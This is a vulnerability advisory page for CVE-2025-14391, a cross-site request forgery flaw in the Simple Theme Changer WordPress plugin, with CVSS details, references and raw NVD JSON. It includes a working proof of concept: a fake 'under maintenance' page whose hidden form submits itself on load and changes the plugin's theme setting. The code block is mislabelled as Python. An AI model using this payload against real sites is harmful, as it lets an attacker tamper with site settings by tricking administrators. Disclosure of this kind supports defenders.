CVE-2025-14391

Description

The Simple Theme Changer plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Theme Changer <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14391 -->
<!-- Simple Theme Changer Plugin Settings Update -->
<!DOCTYPE html>
<html>
<head>
    <title>Page Under Maintenance</title>
</head>
<body>
    <h1>Website Under Maintenance</h1>
    <p>Please try again later...</p>
    
    <!-- Hidden CSRF Form - Auto-submit on page load -->
    <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrfForm" style="display:none;">
        <input type="hidden" name="action" value="update" />
        <input type="hidden" name="option_page" value="theme_changer_options" />
        <input type="hidden" name="theme_changer_theme" value="malicious-theme" />
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/options-general.php?page=simple-theme-changer" />
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14391
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14391
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14391/
[4] VulDB https://vuldb.com/cve/CVE-2025-14391
[5] https://plugins.trac.wordpress.org/browser/simple-theme-changer/tags/1.0/class_theme_changer.php#L262
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/efa9b44d-8b6c-4a11-82af-cecc2c202024?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14391", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:49.940", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Theme Changer plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-theme-changer/tags/1.0/class_theme_changer.php#L262", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/efa9b44d-8b6c-4a11-82af-cecc2c202024?source=cve", "source": "[email protected]"}]}}